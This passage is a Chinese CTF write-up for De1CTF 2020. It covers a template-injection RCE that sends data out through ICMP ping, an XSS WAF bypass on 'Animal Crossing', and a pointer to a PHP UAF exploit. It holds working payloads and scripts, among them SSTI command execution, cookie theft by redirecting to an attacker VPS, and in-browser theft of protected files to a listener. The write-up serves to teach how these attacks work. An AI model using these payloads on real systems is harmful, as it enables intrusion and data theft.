log.success(f"uuid: {uuid}")
payload = "{{[].__class__.__bases__[0].__subclasses__()[108].__init__.__globals__[request.args.a]['eval'](request.args.b)}}"
io.sendline(payload)
io.recvuntil("> ")
io.sendline("123")
calc = 'rm /tmp/pipe; mkfifo /tmp/pipe ; cat /tmp/pipe | /readflag |(read l;read l;echo "$(($l))" > /tmp/pipe;cat)'
cmd = """__import__("os").system(b"ping ip -s 500 -c 1 -p '"+__import__("codecs").encode(bytes(__import__("os").popen('{}').read()[0:],'ascii'), "hex")+b"'")""".format(calc)
log.info(f"cmd: {cmd}")
log.success(f"statu_code: {read(uuid, cmd)}")

if __name__ == "__main__":
for i in range(0xff):
attack(i)

由于计算是存在一定的几率失败的, 所以我们让脚本一直跑, 然后在我们的vps上面接收icmp流量

sudo tcpdump -n -c 4 icmp and host 134.175.230.10 -w flow.pcap

然后运行脚本, 把服务器上面生成的pcap抓下来分析

可以看到这里有数据, 刚好16个bytes

input your answe

那么接下来就是不断的跑脚本获取数据了, 我在vps上写了一个简单的server用于解码数据

from Crypto.Util.number import bytes_to_long, long_to_bytes
import subprocess

def listen(packet_num):
ip = "134.175.230.10"
resp = subprocess.check_output(f"tcpdump -n -c {packet_num} icmp and host {ip} -w flow.pcap", shell=True)
if not resp:
print("done")

def get_data(filename="flow.pcap"):
resp = subprocess.check_output(f"tshark -r {filename} -T fields -e data|uniq", shell=True).split()
for i in resp:
print(long_to_bytes(int(i, 16)))

if __name__ == "__main__":
for i in range(0xff):
listen(4)
get_data()

server里面用了tshark也就是wireshark的命令行版本, 需要另外装一下

sudo apt install tshark -y

并且由于使用tcpdump, 脚本需要sudo运行

sudo python3 server.py

接着只需要调整我们本地的攻击脚本即可接受到数据了

有时候会是下面这样的结果

我们不断调整本地脚本中的偏移, 也就是read()[0:]这里

cmd = """__import__("os").system(b"ping ip -s 500 -c 1 -p '"+__import__("codecs").encode(bytes(__import__("os").popen('{}').read()[0:],'ascii'), "hex")+b"'")""".format(calc)

把跑出来的数据拼接一下就是flag

flag: De1CTF{MC_L0g_C1ieNt-t0-S1mPl3_S2Tl~}

Animal Crossing

免费创建护照来展示你的岛屿!
Free passport creator lets you show your island!

What is the admin doing? 管理员在做什么?

we will ban the ip of people who make trouble 我们会ban掉捣乱的ip

solved: 4

point: 869

复现选手又来了

这道题的考点是XSS

题目长这样

有四个输入点, 点击start后会向服务器发一个包, 如果通过waf则会返回新的页面内容, 并且在url和script标签里面体现

我们简单测试一下, 用下面这个probe

"XXXX'yyyy`zzzz</img

如果全部输入的话会出现waf

排查一下发现是title字段的问题, 剩下的三个字段呢

在绝大多数情况下, 出现了转义就意味着不能XSS, 所以剩下的三个字段都不能用, 很明显还是这个有waf的title, 也就是js代码中的data

然后就去翻了翻页面的js代码, 发现有一个隐藏的fileUpload函数

function fileUpload(obj) {
const form = new FormData(),
url = '/upload',
file = obj.files[0];
form.append('file', file);
fetch(url, {
method: 'POST',
body: form
}).then(function(response) {
// console.log(response)
if (response.status == 200 ) {
return response.json()
}
else {
throw response.statusText;
}
}).then(function(data) {
// console.log(data)
if (data.code == 200) {
document.getElementById("imageShow").src=data.data;
document.getElementById("image").value=data.data;
} else {
throw data.msg;
}
}).catch(function(e) {
// console.log(e)
alert(e)
});
}

功能很简单, 就是文件上传, 简单测试后发现不能控制文件名, 且只能上传png

再看一下csp

Content-Security-Policy: default-src 'self' 'unsafe-inline' 'unsafe-eval';object-src 'none';

一般csp我们可以放到https://csp-evaluator.withgoogle.com/去检测一下, 但是这个太少了, 直接看都能知道23333

到这里的思路大概有下面的方向

  1. 允许某种特定的后缀名突破上传
  2. data字段绕过

简单测试后就会发现1是不通的, 不能够直接上传后执行, 但是这个上传的函数有其他的利用方式

那么这道题的内容其实就看得差不多了, 继续fuzz data字段

测试

1'//

发现可以成功逃逸

再测试

1';//

发现waf

url编码一下

1'%3b%2f%2f
# 1';//

再次逃逸

我也不太理解为什么编码一下就能逃逸了…另外在js中一句话结束可以不加分号2333

我们尝试执行代码

1'%2bdocument.cookie//
# 1'+document.cookie//

waf

经过测试, 发现documentcookie都被过滤了, 想想办法绕过

试试换行

1'%3b%0alet%20test%3d1%2f%2f
# 1';\nlet test=1//

ok, 那试一试编码绕过, btoa

1'%2bopen(atob('ZG9jdW1lbnQuY29va2ll'))
1'+open(atob(btoa(document.cookie)))

看起来是成功执行了, 不过由于我本地的cookie是httponly的原因, 没有获取到

但是没有关系, 我们现在就可以直接打cookie了

payload如下

1'%2bopen(atob('KGZ1bmN0aW9uIHRlc3QoKXt3aW5kb3cubG9jYXRpb249Imh0dHA6Ly9pcDoyMzMzLz9jPSIrYnRvYShkb2N1bWVudC5jb29raWUpO30oKSk7'))//
# 1'+open((function test(){window.location="http://ip:2333/?c="+btoa(document.cookie);}()));//

本地测试, 发现并不成功

但是下午复现的时候记得是成功了, 这里有点迷惑, 但是没有关西, 参考了一下飘零师傅的payload

{valueOf: new ''.constructor.constructor(atob(xxxx))}

利用valueOf的功能, 会触发对应函数的执行

再结合

new ''.constructor.constructor(atob(xxxx))

来做到任意代码执行

这样就可以成功打到cookie了

能够打到vps, 那么提交给admin, 首先解决一下MD5截断比较, 直接上脚本

import requests
import hashlib
import os
import marshal
import re
import json
from base64 import b64encode, b64decode
from urllib.parse import quote

url = "http://134.175.231.113:8848/"
sess = requests.Session()
proxies = {
"http": "127.0.0.1:8080"
}

# solve code challenge
def hash(s, cipher):
if type(s) == str:
s = s.encode()
if cipher == 'sha1':
return hashlib.sha1(s).hexdigest()
elif cipher == 'sha224':
return hashlib.sha224(s).hexdigest()
elif cipher == 'sha256':
return hashlib.sha256(s).hexdigest()
elif cipher == 'sha384':
return hashlib.sha384(s).hexdigest()
elif cipher == 'sha512':
return hashlib.sha512(s).hexdigest()
elif cipher == 'md5':
return hashlib.md5(s).hexdigest()
raise ValueError('cipher not found %s' % cipher)

hashes = None

def break_hash(key, cipher="md5"):
global hashes
if hashes is None:
exists = os.path.isfile('hashes.marshal')
if not exists:
hashes = {}
for i in range(0, 10000000):#256**4):
s = str(i)
h = hash(s, cipher)
hashes[ h[0:6] ] = s
if (i & 1048575) == 1048575:
print('[*] hash loading at %s' % s)
with open('hashes.marshal', 'wb') as f:
marshal.dump(hashes, f)
else:
# print('[*] loading lots of hashes')
with open('hashes.marshal', 'rb') as f:
hashes = marshal.load(f)
print('[+] done load of hashes')

if key not in hashes:
raise ValueError('matching hash not found')

return hashes[key]
def test(payload):
data = {
"image": "/static/head.jpg",
"island": "",
"fruit": "",
"data": payload
}
resp = sess.get(f"{url}passport", params=data, proxies=proxies).text
if "Hacker" in resp:
raise ValueError("Error: Hacker!")
else:
text = re.findall(r"let data = (.+)", resp)[0]
print(f"[+] data: {text}")

def submit(payload):
while True:
text = sess.get(f"{url}submit", proxies=proxies).text
captcha = re.findall(r'== &#39;([a-z0-9]+)&#39;</div>', text)[0]
# print(f"[*] captcha: {captcha}")
try:
code = break_hash(captcha)
print(f"[+] hashcode: {code}")
break
except ValueError:
continue
data = {
"url": payload,
"code": code
}
resp = sess.post(f"{url}submit", json=data, proxies=proxies).text
print(f"[+] msg: {json.loads(resp)['msg']}")

if __name__ == "__main__":
prefix = "/passport?image=/static/head.jpg&island=&fruit=&name=&data="
code = '(function test(){window.location="http://ip:2333/?c="+btoa(document.cookie);}());'
code = b64encode(code.encode()).decode()
payload = "'||{valueOf: new ''.constructor.constructor(atob('" + code + "'))}+1;//"
# payload = "'+open(atob('" + code + "'));//"
test(payload)
payload = prefix + quote(payload)
submit(payload)
# print(break_hash("93d42f"))

其中test用于测试是否能通过waf, submit提交

这样就可以成功的拿到前面半段flag了

后面的话, 我们尝试读一下页面内容看看

document.body.innerHTML

改一下脚本, 成功读到了源码, 去掉部分css后如下

<div class="islands">
<img src="/island/test_01.png" class="island-img">
...... test_02-test_399
<img src="/island/test_400.png" class="island-img">

</div>

<div class="panel" style="margin-top: 150px; margin-left: 91px;">
<div class="title">
<div class="line"></div>
<p>PASSPORT</p>
<div class="line"></div>
</div>
<div class="content">
<div class="image">
<img src="/static/head.jpg" id="image">
</div>
<div class="right">
<div id="island"></div>
<div id="fruit"></div>
<p class="line2"></p>
<div id="user"></div>
<p class="line2"></p>
<div id="title"></div>
<p class="line2"></p>
</div>

</div>
<div class="date">
Date :
<script>
var date = new Date();
var seperator1 = "-";
var year = date.getFullYear();
var month = date.getMonth() + 1;
month = month < 10 ? "0"+month:month;
var strDate = date.getDate();
strDate = strDate < 10 ? "0"+strDate:strDate;
document.write(year + seperator1 + month + seperator1 + strDate)
</script>2020-05-05
</div>
<div class="date2">
You can share passport to everyone or <a href="/submit">admin</a>
</div>
</div>
<script type="text/javascript">
function cssLoad(){
var width = document.body.clientWidth;
var height = document.body.clientHeight ;
if (window.innerWidth)
width = window.innerWidth;
if (window.innerHeight)
height = window.innerHeight;
// console.log(width, height)
document.getElementsByTagName("body")[0].style.height = height +"px";
document.getElementsByTagName("body")[0].style.width = width +"px";
document.getElementsByClassName("panel")[0].style.marginTop = (height/4)+"px";

document.getElementsByClassName("panel")[0].style.marginLeft = (width/2 - 309)+"px";
}
window.onload = () => {
cssLoad()
let data = ''||{valueOf: new ''.constructor.constructor(atob('KGZ1bmN0aW9uIHRlc3QoKXt3aW5kb3cubG9jYXRpb249Imh0dHA6Ly8xMTEuMjMxLjEwMS4yMjM6MjMzMy8/Yz0iK2J0b2EoZG9jdW1lbnQuYm9keS5pbm5lckhUTUwpO30oKSk7'))}+1;//';
data = data.length > 0 ? data: "I am super man";
let name = '';
name = name.length > 0 ? name: "super man";
let island = '';
island = island.length > 0 ? island: "super island";
let fruit = '';
fruit = fruit.toLowerCase();
if(fruit.includes("apple")){
fruit = "Apples"
} else if(fruit.includes("orange")){
fruit = "Oranges"
} else if(fruit.includes("peach")){
fruit = "Peaches"
} else if(fruit.includes("pear")){
fruit = "Pears"
} else {
fruit = "Cherries"
}
document.getElementById("fruit").style.background = "url(\"/static/" + fruit + ".png\") no-repeat 2px 12px";
document.getElementById("fruit").style.backgroundSize = "18px";
document.getElementById("title").innerText = data;
document.getElementById("user").innerText = name;
document.getElementById("island").innerText = island;
document.getElementById("fruit").innerText = fruit;
};
window.onresize = function(){
cssLoad()
}
</script>

发现有400张图片

/island/test_{}.png

直接访问被禁止

那么方向就比较明显了, 尝试读一下文件

怎么读比较好呢, 我们发现前面有一个fileUpload方法, 可以用来传文件, 并且会返回地址, 我们就可以通过这个方法来将文件传上去, 然后拿到地址外带出来, 这里还是参考的飘零师傅的payload

(async()=>{
const arr = []
for(let i=1;i<=400;i++) {
res = await fetch(`/island/test_${String(i).padStart(2,0)}.png`)
data = await res.blob()
const os = new FormData();
const mf = new File([data], "name.png");
os.append("file", mf);
r = await fetch("/upload", {method: "POST",body: os})
data = await r.json()
arr.push(data.data)
}
location="http://111.231.101.223:8000/?c="+btoa(JSON.stringify(arr))
})();

写一个for循环, 异步获取对应图片的内容, 然后通过js, new了一个form用于上传, 再将返回的文件名添加到数组, 最后外带即可

注意对图片的命名需要padStart(2,0), 否则无法获取前10张, 不过并不影响结果

由于有400张图片, 我们写一个server去获取这些文件, 并用于后面的拼图

from flask import Flask, Response, request
from base64 import b64decode
import json
import requests
import os
from PIL import Image
from time import sleep

app = Flask(__name__)
url = "http://134.175.231.113:8848"
@app.route("/")
def index():
try:
data = request.args.get("c")
except:
raise ValueError("No param!")
data = json.loads(b64decode(data.encode()))
sess = requests.Session()
num = 1
for i in data:
img_content = sess.get(url + i).content
if not os.path.exists("./img"):
os.mkdir("./img")
f = open(f"./img/{num}.png", "wb")
f.write(img_content)
f.close()
print(f"[+] write {num}.png")
num += 1
sleep(0.1)
return Response("ok")

@app.route("/res")
def res():
w = 90
h = 75
result = Image.new('RGB', (h*20, w*20), (0, 0, 0))
num = 1
for i in range(0, h*20, h):
for j in range(0, w*20, w):
result.paste(Image.open("./img/" + str(num) + ".png"), (j, i))
num += 1
result.save("res.png")
f = open("./res.png", "rb")
return Response(f.read(), mimetype="image/png")


if __name__ == "__main__":
app.run("0.0.0.0", port="8000", debug=False)

传到vps上面, 再用xss打过去

最后访问/res即可看到图片

flag: De1CTF{I_I1k4_cool_GamE}

解法二 截屏

Easy PHP UAF

  1. Docker image is php:7.4.2-apache
  2. maybe you can get some help here:https://github.com/mm0r1/exploits/blob/master/php7-backtrace-bypass/exploit.php
  3. some token has been blocked in lex_scan

http://129.204.185.9:8848/

attachment:
https://share.weiyun.com/56oNut8
https://drive.google.com/open?id=19uST6Au8BOh9G4MAnKZvMfGHewDxOjb5

solved: 2

point: 952

我们都知道上次xctf清华的师傅出了个uaf, 结果被大家用exp秒了

这次的uaf修复了可以被exp秒的bug, 菜鸡就没有办法下手了, 并且很有趣的是 一血是被题目提到的exp作者 @mm0r1 拿到的, 大型粉丝见面会233333

在ctftime上看到了 @2019 大师傅写的wp, 我还是算了吧2333

https://mem2019.github.io/jekyll/update/2020/05/04/Easy-PHP-UAF.html

参考链接


作者: cjm00n
地址: https://cjm00n.top/CTF/de1ctf-2020-wp.html
版权声明: 除特别说明外,所有文章均采用 CC BY 4.0 许可协议,转载请先取得同意。

CTF比赛的交流模式探索 浅析CSRF的防御和攻击案例

评论